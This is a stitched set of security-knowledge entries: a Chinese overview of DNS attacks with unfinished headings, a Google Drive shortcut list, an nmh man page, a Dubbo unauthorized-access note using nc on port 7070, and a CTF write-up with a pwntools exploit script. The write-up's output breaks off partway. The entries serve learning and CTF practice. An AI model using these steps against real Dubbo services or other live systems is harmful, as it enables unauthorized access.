> 当DNS递归服务器在处理DNS请求时会向权威服务器请求解析结果,权威服务器可能会进行子域名委派,而BIND的原始设计并未充分限制处理委派响应的查询次数。恶意攻击者可以利用漏洞给DNS递归服务器回复一个巨大的委派列表,达到降低DNS递归服务器的性能,造成DNS放大攻击的目的。
>
> https://www.huaweicloud.com/notice/20200520174720491.html
具体来说,是DNS需要执行递归查询,而递归的实现需要DNS服务能处理引荐报文(Referrals),类似于介绍信,例如权威服务器A处理不了这个DNS查询,它就会开出一封推荐信,自己派人去查下一个权威服务器B去问他,如果B也不知道,B会再开一封去问下一个权威服务器。
但是有一个设计上的疏漏,就是没有限制好这个“推荐信”的查询数量。这样的话,攻击者可以构造一大堆“推荐信”,让权威服务器A一次性去查很多家,这样的话,A的性能就受到影响了。而且因为查询是递归的,所以1查10,10查100,这个权威服务器A就被拿来当放大镜来发起放大攻击攻击了。
### DNS劫持
这种攻击类型不是官方的定义,用来这里是来描述发起DNS查询的客户端所遭受攻击的情况。注意与DNS服务器本身遭受攻击的区别。
其中一种是大规模的宽带路由器DNS篡改行为,简单来说是利用路由器的软件缺陷,比如对DNS可信列表的绕过,对服务器提供DNS修改接口的CSRF攻击等,修改路由器配置的DNS域名服务器,从而使得上网用户的请求被劫持解析,返回错误的落地页。
还有一种情况是在流量层面的劫持。DNS响应的特点是先到先接收,设计之初是为了最好的查询速度,但是攻击者如果在通信流量上做了手脚,在正确的DNS服务器和客户端之间插入一个恶意的“节点”,使得恶意的“节点”更快响应客户端的DNS查询请求,那么先到的恶意DNS响应就会使得后到的正确DNS响应失效,从而给客户端带来错误的DNS解析。
### DNS缓存投毒
DNS缓存投毒也包括多种手法,一种就上述提到的,直接对客户端进行DNS劫持,因为DNS协议具有缓存特性,因此恶意的DNS解析也会缓存一段时间,直到TTL超时、缓存失效。
这个思路之下,最有名的、影响范围最大的莫过于2008年Dan Kaminsky提出的DNS缓存投毒攻击。// TODO 具体分析待补充,参考:https://zhuanlan.zhihu.com/p/92899876
### DNS域传送漏洞
### DNS欺骗
### DNS沉洞(Sinkhole)
## 利用DNS进行攻击
### 隐蔽隧道
### Fast-flux
### Double-flux
### DGA
### DNS重绑定攻击
### DDoS方法
## References
\[1] DNS 安全(三):利用 DNS 协议发起的攻与防,Tr0y,https://www.tr0y.wang/tags/DNS/
|
sec-knowleage
|
---
title: Google Drive
date: 2022-11-23 16:23:31.701360
background: bg-[#479b61]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 54 keyboard shortcuts found in Google Drive on the web
---
Keyboard Shortcuts
------------------
### Navigation and views
Shortcut | Action
---|---
`G` `N` | Go to navigation panel (folders list)
`G` `L` | Go to items view
`V` | Switch between grid and list in items view
`G` `D` | Go to details pane
`G` `T` | Go to top of application (Google bar)
`G` `A` | Go to download status
`G` `U` | Go to upload status
`D` | Show or hide details pane
`I` | Show or hide activity pane
{.shortcuts}
### Select items
Shortcut | Action
---|---
`X` | Select or deselect item
`J/Down` | Select next item down
`K/Up` | Select next item up
`H/Left` | Select next item to the left
`L/Right` | Select next item to the right
`Shift` `Down` | Extend selection down
`Shift` `Up` | Extend selection up
`Shift` `Left` | Extend selection left
`Shift` `Right` | Extend selection right
`Shift` `A` | Select all visible items
`Shift` `N` | Clear all selections
{.shortcuts}
### Move between items
Shortcut | Action
---|---
`Ctrl` `Down` | Move down without changing selection
`Ctrl` `Up` | Move up without changing selection
`Ctrl` `Left` | Move left without changing selection
`Ctrl` `Right` | Move right without changing selection
{.shortcuts}
### Take action on selected items
Shortcut | Action
---|---
`Enter` | Open selected item
`N` | Rename selected item
`.` | Share selected items
`Z` | Move selected items to new folder
`S` | Star or unstar selected items
`Shift` `Z` | Add selected items to an additional folder
`Delete` | Remove selected items
`Ctrl` `Z` | Undo last action
`Ctrl` `Shift` `Z` | Redo last undone action
{.shortcuts}
### Create new items
Shortcut | Action
---|---
`Shift` `T` | Document
`Shift` `P` | Presentation
`Shift` `S` | Spreadsheet
`Shift` `D` | Drawing
`Shift` `F` | Folder
`Shift` `O` | Form
{.shortcuts}
### Open menus
Shortcut | Action
---|---
`C` | Create menu
`A` | More actions menu
`F` | Current folder actions menu
`R` | Sort menu
`T` | Settings menu
{.shortcuts}
### Application actions
Shortcut | Action
---|---
`Shift` `/` | Display keyboard shortcuts list
`Q` `Q` | Choose next visual density
`Ctrl` `F` | Find/find next
`Ctrl` `P` | Print
`M` | Show last message
`/` | Search your drive
{.shortcuts}
### Preview mode actions
Shortcut | Action
---|---
`Esc` | Close
`Space` | Play/pause
`+/=` | Zoom in
`-` | Zoom out
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Google Drive](https://support.google.com/drive/answer/2563044?hl=en) _(support.google.com)_
|
sec-knowleage
|
.\"
.\" THIS FILE HAS BEEN AUTOMATICALLY GENERATED. DO NOT EDIT.
.\"
.\" 包含mh宏文件
.\"
.TH ALI 1 MH.6.8 [nmh-1.0.3]
.SH NAME
ali \- 列出邮件别名
.SH 总览
.in +.5i
.ti -.5i
ali
\%[\-alias\ aliasfile]
\%[\-list] \%[\-nolist]
\%[\-normalize]
.br
\%[\-nonormalize]
\%[\-user] \%[\-nouser]
\%[aliases\ ...]
.br
\%[\-version]
\%[\-help]
.in -.5i
.SH 描述
\fIAli\fR对每个给出的\fIaliases\fR查找已命名的邮件别名文件。
为那些\fIaliases\fR建立一份地址列表,并把列表写到标准输出上。
如未给出参数,fIali\fR会输出所有别名项目。
缺省情况下,当一个别名对应到多个地址时,这些地址是用逗号分
隔并尽可能少占行数。如果指定`\-list'选项的话,那么当一个地
址对应到多个地址时,每个地址将单独占用一行。
`\-user'开关说明让\fIali\fR反向执行处理:不列出每个给定别
名所对应的地址,相反,\fIali\fR将列出每个给定地址所对应的
别名来。如果给出`\-normalize'开关的话,\fIali\fR将追踪地
址的正式主机名。
程序会读取由配置项\*(lqAliasfile:\*(rq指定的文件以及任何由
`\-alias aliasfile'开关给出的附加别名。每个\fIalias\fR都会按
\fImh\-alias\fR\0(5)所描述的那样进行处理。
^$HOME/\&.mh\(ruprofile~^用户配置
^/etc/passwd~^用户列表
^/etc/group~^组列表
.PP
^Path:~^用来决定用户的nmh目录
.PP
^Aliasfile:~^一个缺省别名文件
.PP
mh\-alias(5)
.PP
`\-alias /etc/nmh/MailAliases'
.PP
`\-nolist'
.PP
`\-nonormalize'
.PP
`\-nouser'
.PP
None
.PP
带有`\-nonormalize'的`\-user'选项并不是完全准确的,因为它
无法用站点的正式名称来替换那些本地昵称。
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
.BR 2001/03/26
第一版
.SH "《中国Linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Dubbo 未授权访问漏洞
## 漏洞简介
Dubbo是阿里巴巴公司开源的一个高性能优秀的 服务框架,使得应用可通过高性能的 RPC 实现服务的输 出和输入功能,可以和 Spring框架无缝集成。dubbo 因配置不当导致未授权访问漏洞。
## 环境搭建
```
git clone https://github.com/alibaba/dubbo/tree/2.5.x
```
进入dubbo-2.5.x 目录
执行`mvn clean package -Dmaven.test.skip=true`会生成如下结果

在`dubbo-2.5.x/dubbo-simple/dubbo-monitor-simple/target`目录会发现生成了`dubbo-monitor-simple-2.5.10-assembly.tar.gz`,解压这个文件夹
查看配置文件,会看到dubbo协议端口为7070
```
[root@localhost dubbo-monitor-simple-2.5.10]# cat conf/dubbo.properties
dubbo.container=log4j,spring,registry,jetty
dubbo.application.name=simple-monitor
dubbo.application.owner=
dubbo.registry.address=multicast://224.5.6.7:1234
#dubbo.registry.address=zookeeper://127.0.0.1:2181
#dubbo.registry.address=redis://127.0.0.1:6379
#dubbo.registry.address=dubbo://127.0.0.1:9090
dubbo.protocol.port=7070
dubbo.jetty.port=8080
dubbo.jetty.directory=${user.home}/monitor
dubbo.charts.directory=${dubbo.jetty.directory}/charts
dubbo.statistics.directory=${user.home}/monitor/statistics
dubbo.log4j.file=logs/dubbo-monitor-simple.log
```
启动dubbo
```
[root@localhost dubbo-monitor-simple-2.5.10]# bin/start.sh
```
## 漏洞利用
nc连接`7070`端口,7070端口允许您执行各种管理任务,如查看注册表的状态、列出可用服务和查看注册表的日志级别。
```
[root@localhost dubbo-monitor-simple-2.5.10]# nc 127.0.0.1 7070
ls
com.alibaba.dubbo.monitor.MonitorService
dubbo>help
Please input "help [command]" show detail.
status [-l] - Show status.
pwd - Print working default service.
trace [service] [method] [times] - Trace the service.
exit - Exit the telnet.
help [command] - Show help.
invoke [service.]method(args) - Invoke the service method.
count [service] [method] [times] - Count the service.
clear [lines] - Clear screen.
ls [-l] [service] - List services and methods.
log level - Change log level or show log
ps [-l] [port] - Print server ports and connections.
cd [service] - Change default service.
dubbo>status
OK
dubbo>pwd
/
```
> 如果服务具有命令执行功能,则使用 "invoke" 命令可能会执行命令,因为 "invoke" 命令用于调用特定的服务方法。
|
sec-knowleage
|
# Fun With Flags
Category: Reversing, 200 Points
## Description
> Welcome to Dr. Sheldon Cooper and Dr. Amy Farrah Fowler's flags shop!
>
> Where you can buy and sell some of our favorite flags.
>
> Colors? Stripes? Stars? We've got them all!
>
> We've given you some coins, don't spend them all at once :)
>
> Hope you'll have Fun With Flags!
>
> Disclaimer:
>
> Dr. Sheldon Cooper, who created the shop, allowed only himself to buy certain flags, so don't be disappointed if you can't have all of them.
>
> He also decided to log every transaction, in case anyone tries to buy the special flags that are not allowed, so don't try to trick him!
```python
#!/usr/bin/env python3
class Flag:
def __init__(self, name, price, description, colors, stripes, stars):
self.name = name
self.price = price
self.description = description
self.colors = colors
self.stripes = stripes
self.stars = stars
def __str__(self):
return f'{self.name} - {self.description} (price: {self.price})'
class User:
def __init__(self, name):
self.name = name
self.owned_flags = []
if name == "Dr. Sheldon Lee Cooper":
self.is_VIP = True
self.coins = INITIAL_COINS * 2
else:
self.is_VIP = False
self.coins = INITIAL_COINS
def __str__(self):
user_value = self.coins + sum(flag.price for flag in self.owned_flags)
result = f"User {self.name} "
result += "(VIP)." if self.is_VIP else "(NON-VIP)"
result += f" has {str(self.coins)} coins."
result += f" Account value: {user_value}."
if self.owned_flags:
total_colors = sum(flag.colors for flag in self.owned_flags)
total_stripes = sum(flag.stripes for flag in self.owned_flags)
total_stars = sum(flag.stars for flag in self.owned_flags)
result += "\nAverage value per: "
result += "color (total {}) - {:0.2f}, ".format(total_colors, user_value / total_colors)
result += "stripe (total {}) - {:0.2f}, ".format(total_stripes, user_value / total_stripes)
result += "star (total {}) - {:0.2f}.\n".format(total_stars, user_value / total_stars)
result += "Owned flags:\n"
result += "\n".join(str(flag) for flag in self.owned_flags)
result += "\n"
return result
def buy_flag(self, flag):
self.coins -= flag.price
self.owned_flags.append(flag)
self.update_VIP()
def sell_flag(self, flag):
self.coins += flag.price
self.owned_flags.remove(flag)
self.update_VIP()
def update_VIP(self):
if self.is_VIP:
return # once VIP, always VIP
self.is_VIP = sum(flag.stars for flag in self.owned_flags) >= 120 # Real stars collectors can be VIP too :)
def can_afford_flag(self, flag):
return self.coins >= flag.price
def allowed_to_buy_CSA_flag(self):
return self.is_VIP
available_flags = [
Flag("Suriname", 100, "The smallest South American country", 4, 5, 1),
Flag("Togo", 100, "Has French as the official language", 4, 5, 1),
Flag("Azerbaijan", 100, "The Land of Fire", 4, 3, 1),
Flag("Liberia", 200, "Has Africa's cleanest cities", 3, 11, 1),
Flag("Myanmar", 200, "Formerly known as Burma", 4, 3, 1),
Flag("Philippines", 300, "Named after King Philip II of Spain", 4, 2, 1),
Flag("Uzbekistan", 400, "Has the world's largest open-pit gold mine", 4, 5, 12),
Flag("Tajikistan", 500, "Has the world's second highest dam", 4, 3, 7),
Flag("Slovenia", 600, "Has the world's longest stone arch railroad bridge", 3, 3, 3),
Flag("Syria", 700, "Has the world's oldest operational dam", 4, 3, 2),
Flag("Honduras", 800, "Has a dual capital", 2, 2, 5),
Flag("Cape Verde", 900, "Named after the Cap-Vert peninsula", 4, 5, 10),
Flag("Israel", 1000, "The country that brought you CSA", 2, 2, 1),
Flag("Russia", 1200, "Home to the Hermitage Museum", 3, 3, 0),
Flag("USA", 1200, "United States of America", 3, 13, 50),
Flag("Cuba", 1300, "Famous for it's cigars", 3, 5, 1),
Flag("CSA", 1337, open("flag.txt", "rt").read(), 1, 33, 7),
Flag("Jordan", 1400, "Home to Petra", 4, 3, 1),
Flag("Singapore", 1400, "The world's second most densely populated country", 2, 2, 5),
Flag("Venezuela", 1500, "Home to the world's highest waterfall", 4, 3, 8),
]
def send(message):
print(message)
def recv():
return input()
def get_int_from_user():
try:
user_selection = int(recv())
return user_selection
except:
return 0
def list_flags(flags):
res = "=================================\n"
for i, flag in enumerate(flags):
res += f'{i} {flag.name} - {flag.price}\n'
res += "=================================\n"
return res
def modify_flag_menu():
raise NotImplementedError # Sheldon todo - allow users to add and remove stars from their owned flags
def buy_flag_menu():
send(f"There are {len(available_flags)} flags available to buy.")
send("How many flags would you like to buy?")
amount = get_int_from_user()
if amount > len(available_flags):
send("There aren't that many available flags!")
return
for _ in range(amount):
send(f"You have {user.coins} coins.")
if user.coins == 0:
return
send("Available flags to buy:")
send(list_flags(available_flags))
send("Which flag would you like to buy?")
flag_index = get_int_from_user()
flag_to_buy = None
allowed_to_buy_flag = False
try:
if 0 <= flag_index < len(available_flags):
flag_to_buy = available_flags[flag_index]
allowed_to_buy_flag = user.can_afford_flag(flag_to_buy)
log_message = str(user) + f" is trying to buy flag {flag_to_buy.name}"
if flag_to_buy.name == "CSA":
log_message += "\n***ATTENTION - CSA FLAG PURCHASE. RUNNING ADDITIONAL CHECK***"
allowed_to_buy_flag = allowed_to_buy_flag and user.allowed_to_buy_CSA_flag()
log_message += " Additional checks result - user is " + ("ALLOWED" if allowed_to_buy_flag else "NOT ALLOWED") + " to purchase it"
send("You tried to buy flag " + flag_to_buy.name + " (allowed to purchase? " + str(allowed_to_buy_flag) + "). This transaction was logged successfully.")
else:
log_message = str(user) + " is trying to buy an non-existing flag. This looks suspicious!"
send("Invalid flag index. This attempt is logged!")
open("log.txt", "a+").write(log_message + "\n")
except:
send(f'Failed to log transaction of flag purchase. Do you have write permission?')
if flag_to_buy is not None:
if allowed_to_buy_flag:
user.buy_flag(flag_to_buy)
available_flags.remove(flag_to_buy)
send(f"{flag_to_buy.name} flag bought!")
else:
send(f"You can't buy flag {flag_to_buy.name}!")
def sell_flag_menu():
send(f"You have {len(user.owned_flags)} flags.")
if not user.owned_flags:
return
send("How many flags would you like to sell?")
amount = get_int_from_user()
if amount > len(user.owned_flags):
send("You don't have that many flags!")
return
flag_to_sell = None
for _ in range(amount):
send("Available flags to sell:")
send(list_flags(user.owned_flags))
send("Which flag would you like to sell?")
flag_index = get_int_from_user()
try:
if 0 <= flag_index < len(user.owned_flags):
flag_to_sell = user.owned_flags[flag_index]
log_message = str(user) + " is selling flag " + flag_to_sell.name
else:
log_message = str(user) + " is trying to sell a flag they don't have. This looks suspicious!"
send("Invalid flag index. This attempt is logged!")
if flag_to_sell is not None:
user.sell_flag(flag_to_sell)
available_flags.append(flag_to_sell)
send(f"{flag_to_sell.name} flag sold!")
log_message += f". {flag_to_sell.name} Sold successfully!"
open("log.txt", "a+").write(log_message + "\n")
except:
send(f'Failed to log transaction of {flag_to_sell.name} flag. Do you have write permission?')
def main_menu():
while True:
send("What would you like to do?\n")
send("\n".join([
# "0 - MODIFY FLAGS",
"1 - LIST AVAILABLE FLAGS",
"2 - BUY FLAG",
"3 - SELL FLAG",
"4 - LIST MY FLAGS",
"5 - LIST MY STATS",
"6 - EXIT",
]))
try:
selection = get_int_from_user()
if selection == 0:
modify_flag_menu()
elif selection == 1:
send("Available flags to buy:")
send(list_flags(available_flags))
elif selection == 2:
buy_flag_menu()
elif selection == 3:
sell_flag_menu()
elif selection == 4:
flags_amount = len(user.owned_flags)
if flags_amount > 0:
send(f"You have {flags_amount} flags:")
send(list_flags(user.owned_flags))
else:
send("You have no flags :(\n")
elif selection == 5:
send(str(user))
elif selection == 6: # exit
break
else:
send(f"Invalid menu selection {selection}")
except:
send("Apologies, not all functions are implemented yet!")
send("Hope you had Fun With Flags! Goodbye.")
def logo():
send("""Welcome to
█▀▀ █ █ █▄ █ █ █ █ █ ▀█▀ █ █ █▀▀ █ ▄▀█ █▀▀ █▀
█▀ █▄█ █ ▀█ ▀▄▀▄▀ █ █ █▀█ █▀ █▄▄ █▀█ █▄█ ▄█
""")
INITIAL_COINS = 1000
user = User("Dr. Amy Farrah Fowler")
if __name__ == '__main__':
logo()
main_menu()
```
## Solution
This is a simple program to buy and sell flags. Our goal is to buy the CSA flag:
```python
Flag("CSA", 1337, open("flag.txt", "rt").read(), 1, 33, 7),
```
However, two things are blocking us. First, we don't have enough money to buy the flag, since we receive 1000 coins and the flag costs 1337 coins. And second, even if we found a way to make more money, we must have a VIP status in order to buy this specific flag:
```python
def allowed_to_buy_CSA_flag(self):
return self.is_VIP
```
First problem first. We can buy and sell flags, but when selling a flag we earn the same amount that we paid for it in the first place. How do we make money here? The answer is hidden very nicely in the following code:
```python
def sell_flag_menu():
send(f"You have {len(user.owned_flags)} flags.")
if not user.owned_flags:
return
send("How many flags would you like to sell?")
amount = get_int_from_user()
if amount > len(user.owned_flags):
send("You don't have that many flags!")
return
flag_to_sell = None
for _ in range(amount):
send("Available flags to sell:")
send(list_flags(user.owned_flags))
send("Which flag would you like to sell?")
flag_index = get_int_from_user()
try:
if 0 <= flag_index < len(user.owned_flags):
flag_to_sell = user.owned_flags[flag_index]
log_message = str(user) + " is selling flag " + flag_to_sell.name
else:
log_message = str(user) + " is trying to sell a flag they don't have. This looks suspicious!"
send("Invalid flag index. This attempt is logged!")
if flag_to_sell is not None:
user.sell_flag(flag_to_sell)
available_flags.append(flag_to_sell)
send(f"{flag_to_sell.name} flag sold!")
log_message += f". {flag_to_sell.name} Sold successfully!"
open("log.txt", "a+").write(log_message + "\n")
except:
send(f'Failed to log transaction of {flag_to_sell.name} flag. Do you have write permission?')
```
The program asks us how many flags we'd like to sell, then loop and tries to sell that amount of flags. However, notice how `flag_to_sell` is scoped outside the loop and only initializes within it if `0 <= flag_index < len(user.owned_flags)`. This means that after entering a valid flag index for the first time, we can follow-up by entering invalid indices for the rest of the loop. Yes, the incident will be logged, but `user.sell_flag(flag_to_sell)` will still get executed and we'll make more money. Let's see that in action:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Fun_With_Flags]
└─$ nc fun-with-flags.csa-challenge.com 6666
Welcome to
█▀▀ █ █ █▄ █ █ █ █ █ ▀█▀ █ █ █▀▀ █ ▄▀█ █▀▀ █▀
█▀ █▄█ █ ▀█ ▀▄▀▄▀ █ █ █▀█ █▀ █▄▄ █▀█ █▄█ ▄█
What would you like to do?
1 - LIST AVAILABLE FLAGS
2 - BUY FLAG
3 - SELL FLAG
4 - LIST MY FLAGS
5 - LIST MY STATS
6 - EXIT
2
There are 20 flags available to buy.
How many flags would you like to buy?
2
You have 1000 coins.
Available flags to buy:
=================================
0 Suriname - 100
1 Togo - 100
2 Azerbaijan - 100
3 Liberia - 200
4 Myanmar - 200
5 Philippines - 300
6 Uzbekistan - 400
7 Tajikistan - 500
8 Slovenia - 600
9 Syria - 700
10 Honduras - 800
11 Cape Verde - 900
12 Israel - 1000
13 Russia - 1200
14 USA - 1200
15 Cuba - 1300
16 CSA - 1337
17 Jordan - 1400
18 Singapore - 1400
19 Venezuela - 1500
=================================
Which flag would you like to buy?
0
You tried to buy flag Suriname (allowed to purchase? True). This transaction was logged successfully.
Suriname flag bought!
You have 900 coins.
Available flags to buy:
=================================
0 Togo - 100
1 Azerbaijan - 100
2 Liberia - 200
3 Myanmar - 200
4 Philippines - 300
5 Uzbekistan - 400
6 Tajikistan - 500
7 Slovenia - 600
8 Syria - 700
9 Honduras - 800
10 Cape Verde - 900
11 Israel - 1000
12 Russia - 1200
13 USA - 1200
14 Cuba - 1300
15 CSA - 1337
16 Jordan - 1400
17 Singapore - 1400
18 Venezuela - 1500
=================================
Which flag would you like to buy?
10
You tried to buy flag Cape Verde (allowed to purchase? True). This transaction was logged successfully.
Cape Verde flag bought!
What would you like to do?
1 - LIST AVAILABLE FLAGS
2 - BUY FLAG
3 - SELL FLAG
4 - LIST MY FLAGS
5 - LIST MY STATS
6 - EXIT
3
You have 2 flags.
How many flags would you like to sell?
2
Available flags to sell:
=================================
0 Suriname - 100
1 Cape Verde - 900
=================================
Which flag would you like to sell?
1
Cape Verde flag sold!
Available flags to sell:
=================================
0 Suriname - 100
=================================
Which flag would you like to sell?
1
Invalid flag index. This attempt is logged!
Failed to log transaction of Cape Verde flag. Do you have write permission?
What would you like to do?
1 - LIST AVAILABLE FLAGS
2 - BUY FLAG
3 - SELL FLAG
4 - LIST MY FLAGS
5 - LIST MY STATS
6 - EXIT
5
User Dr. Amy Farrah Fowler (NON-VIP) has 1800 coins. Account value: 1900.
Average value per: color (total 4) - 475.00, stripe (total 5) - 380.00, star (total 1) - 1900.00.
Owned flags:
Suriname - The smallest South American country (price: 100)
What would you like to do?
1 - LIST AVAILABLE FLAGS
2 - BUY FLAG
3 - SELL FLAG
4 - LIST MY FLAGS
5 - LIST MY STATS
6 - EXIT
6
Hope you had Fun With Flags! Goodbye.
```
We started with 1000 coins and ended up with 1800 coins, so we can afford the CSA flag. But how do we bypass the VIP protection now? This time, the bug is hidden in the "buy flag" functionality:
```python
def buy_flag_menu():
send(f"There are {len(available_flags)} flags available to buy.")
send("How many flags would you like to buy?")
amount = get_int_from_user()
if amount > len(available_flags):
send("There aren't that many available flags!")
return
for _ in range(amount):
send(f"You have {user.coins} coins.")
if user.coins == 0:
return
send("Available flags to buy:")
send(list_flags(available_flags))
send("Which flag would you like to buy?")
flag_index = get_int_from_user()
flag_to_buy = None
allowed_to_buy_flag = False
try:
if 0 <= flag_index < len(available_flags):
flag_to_buy = available_flags[flag_index]
allowed_to_buy_flag = user.can_afford_flag(flag_to_buy)
log_message = str(user) + f" is trying to buy flag {flag_to_buy.name}"
if flag_to_buy.name == "CSA":
log_message += "\n***ATTENTION - CSA FLAG PURCHASE. RUNNING ADDITIONAL CHECK***"
allowed_to_buy_flag = allowed_to_buy_flag and user.allowed_to_buy_CSA_flag()
log_message += " Additional checks result - user is " + ("ALLOWED" if allowed_to_buy_flag else "NOT ALLOWED") + " to purchase it"
send("You tried to buy flag " + flag_to_buy.name + " (allowed to purchase? " + str(allowed_to_buy_flag) + "). This transaction was logged successfully.")
else:
log_message = str(user) + " is trying to buy an non-existing flag. This looks suspicious!"
send("Invalid flag index. This attempt is logged!")
open("log.txt", "a+").write(log_message + "\n")
except:
send(f'Failed to log transaction of flag purchase. Do you have write permission?')
if flag_to_buy is not None:
if allowed_to_buy_flag:
user.buy_flag(flag_to_buy)
available_flags.remove(flag_to_buy)
send(f"{flag_to_buy.name} flag bought!")
else:
send(f"You can't buy flag {flag_to_buy.name}!")
```
Notice how the exception handling in this function is structured. If we are able to trigger an exception somewhere between `flag_to_buy = available_flags[flag_index]` and the additional checks performed if `flag_to_buy.name == "CSA"`, we'll jump directly to the `except` and then slide down to the logic that actually buys the flag. A closer examination of the flow shows that we'll also need to make sure that `allowed_to_buy_flag` is `True`, which is the case right after `allowed_to_buy_flag = user.can_afford_flag(flag_to_buy)` given that we have enough money. So, the best place to try and trigger an exception would be around `log_message = str(user) + f" is trying to buy flag {flag_to_buy.name}"`. This is promising, since `str(user)` contains lots of controllable logic:
```python
def __str__(self):
user_value = self.coins + sum(flag.price for flag in self.owned_flags)
result = f"User {self.name} "
result += "(VIP)." if self.is_VIP else "(NON-VIP)"
result += f" has {str(self.coins)} coins."
result += f" Account value: {user_value}."
if self.owned_flags:
total_colors = sum(flag.colors for flag in self.owned_flags)
total_stripes = sum(flag.stripes for flag in self.owned_flags)
total_stars = sum(flag.stars for flag in self.owned_flags)
result += "\nAverage value per: "
result += "color (total {}) - {:0.2f}, ".format(total_colors, user_value / total_colors)
result += "stripe (total {}) - {:0.2f}, ".format(total_stripes, user_value / total_stripes)
result += "star (total {}) - {:0.2f}.\n".format(total_stars, user_value / total_stars)
result += "Owned flags:\n"
result += "\n".join(str(flag) for flag in self.owned_flags)
result += "\n"
return result
```
From a quick look at this code, the obvious candidate for an exception is the division taking place as part of the average calculation. If we can cause one of the *total*s to be zero, we'll get a "Divide by Zero Exception". Let's check the flag list and see if it's possible:
```python
available_flags = [
Flag("Suriname", 100, "The smallest South American country", 4, 5, 1),
Flag("Togo", 100, "Has French as the official language", 4, 5, 1),
Flag("Azerbaijan", 100, "The Land of Fire", 4, 3, 1),
Flag("Liberia", 200, "Has Africa's cleanest cities", 3, 11, 1),
Flag("Myanmar", 200, "Formerly known as Burma", 4, 3, 1),
Flag("Philippines", 300, "Named after King Philip II of Spain", 4, 2, 1),
Flag("Uzbekistan", 400, "Has the world's largest open-pit gold mine", 4, 5, 12),
Flag("Tajikistan", 500, "Has the world's second highest dam", 4, 3, 7),
Flag("Slovenia", 600, "Has the world's longest stone arch railroad bridge", 3, 3, 3),
Flag("Syria", 700, "Has the world's oldest operational dam", 4, 3, 2),
Flag("Honduras", 800, "Has a dual capital", 2, 2, 5),
Flag("Cape Verde", 900, "Named after the Cap-Vert peninsula", 4, 5, 10),
Flag("Israel", 1000, "The country that brought you CSA", 2, 2, 1),
Flag("Russia", 1200, "Home to the Hermitage Museum", 3, 3, 0),
Flag("USA", 1200, "United States of America", 3, 13, 50),
Flag("Cuba", 1300, "Famous for it's cigars", 3, 5, 1),
Flag("CSA", 1337, open("flag.txt", "rt").read(), 1, 33, 7),
Flag("Jordan", 1400, "Home to Petra", 4, 3, 1),
Flag("Singapore", 1400, "The world's second most densely populated country", 2, 2, 5),
Flag("Venezuela", 1500, "Home to the world's highest waterfall", 4, 3, 8),
]
```
Looks like the Russian flag has no stars, so if that's the only flag we own, we'll hit an exception at `result += "star (total {}) - {:0.2f}.\n".format(total_stars, user_value / total_stars)`.
So, we make enough money to buy the Russian flag and the CSA flag, sell all other flags and buy the Russian flag, request to buy the CSA flag, hit the exception which lets us skip the VIP check, and get the CSA flag.
```python
# First, generate a pwntools template using:
# pwn template --host fun-with-flags.csa-challenge.com --port 6666
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
def read_menu(io):
io.recvuntil(b'6 - EXIT\r\n')
def buy_flags(io, flags):
read_menu(io)
io.sendline(b'2')
io.sendlineafter(b'How many flags would you like to buy?\r\n', str(len(flags)).encode())
log.info(io.recvlineS())
for flag in flags:
log.info(f"Buying flag #{flag}")
io.sendlineafter(b'Which flag would you like to buy?\r\n', str(flag).encode())
io.recvline()
log.info(io.recvlineS())
def sell_flags(io, flags):
read_menu(io)
io.sendline(b'3')
io.sendlineafter(b'How many flags would you like to sell?\r\n', str(len(flags)).encode())
for flag in flags:
log.info(f"Trying to sell flag #{flag}")
io.sendlineafter(b'Which flag would you like to sell?\r\n', str(flag).encode())
log.info(io.recvlineS())
def list_stats(io):
read_menu(io)
io.sendline(b'5')
log.info("Listing stats:\n" + io.recvuntilS(b"\r\n\r\n"))
io = start()
buy_flags(io, [0, 10])
list_stats(io)
sell_flags(io, [1, 1])
list_stats(io)
buy_flags(io, [0, 0, 0, 0, 0, 13])
list_stats(io)
sell_flags(io, [6]*7)
list_stats(io)
sell_flags(io, [0]*6)
list_stats(io)
buy_flags(io, [6])
list_stats(io)
buy_flags(io, [8])
list_stats(io)
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Fun_With_Flags]
└─$ python3 exploit.py
[+] Opening connection to fun-with-flags.csa-challenge.com on port 6666: Done
[*] You have 1000 coins.
[*] Buying flag #0
[*] Suriname flag bought!
[*] Buying flag #10
[*] Cape Verde flag bought!
[*] Listing stats:
User Dr. Amy Farrah Fowler (NON-VIP) has 0 coins. Account value: 1000.
Average value per: color (total 8) - 125.00, stripe (total 10) - 100.00, star (total 11) - 90.91.
Owned flags:
Suriname - The smallest South American country (price: 100)
Cape Verde - Named after the Cap-Vert peninsula (price: 900)
[*] Trying to sell flag #1
[*] Cape Verde flag sold!
[*] Trying to sell flag #1
[*] Invalid flag index. This attempt is logged!
[*] Listing stats:
User Dr. Amy Farrah Fowler (NON-VIP) has 1800 coins. Account value: 1900.
Average value per: color (total 4) - 475.00, stripe (total 5) - 380.00, star (total 1) - 1900.00.
Owned flags:
Suriname - The smallest South American country (price: 100)
[*] You have 1800 coins.
[*] Buying flag #0
[*] Togo flag bought!
[*] Buying flag #0
[*] Azerbaijan flag bought!
[*] Buying flag #0
[*] Liberia flag bought!
[*] Buying flag #0
[*] Myanmar flag bought!
[*] Buying flag #0
[*] Philippines flag bought!
[*] Buying flag #13
[*] Cape Verde flag bought!
[*] Listing stats:
User Dr. Amy Farrah Fowler (NON-VIP) has 0 coins. Account value: 1900.
Average value per: color (total 27) - 70.37, stripe (total 34) - 55.88, star (total 16) - 118.75.
Owned flags:
Suriname - The smallest South American country (price: 100)
Togo - Has French as the official language (price: 100)
Azerbaijan - The Land of Fire (price: 100)
Liberia - Has Africa's cleanest cities (price: 200)
Myanmar - Formerly known as Burma (price: 200)
Philippines - Named after King Philip II of Spain (price: 300)
Cape Verde - Named after the Cap-Vert peninsula (price: 900)
[*] Trying to sell flag #6
[*] Cape Verde flag sold!
[*] Trying to sell flag #6
[*] Invalid flag index. This attempt is logged!
[*] Trying to sell flag #6
[*] Invalid flag index. This attempt is logged!
[*] Trying to sell flag #6
[*] Invalid flag index. This attempt is logged!
[*] Trying to sell flag #6
[*] Invalid flag index. This attempt is logged!
[*] Trying to sell flag #6
[*] Invalid flag index. This attempt is logged!
[*] Trying to sell flag #6
[*] Invalid flag index. This attempt is logged!
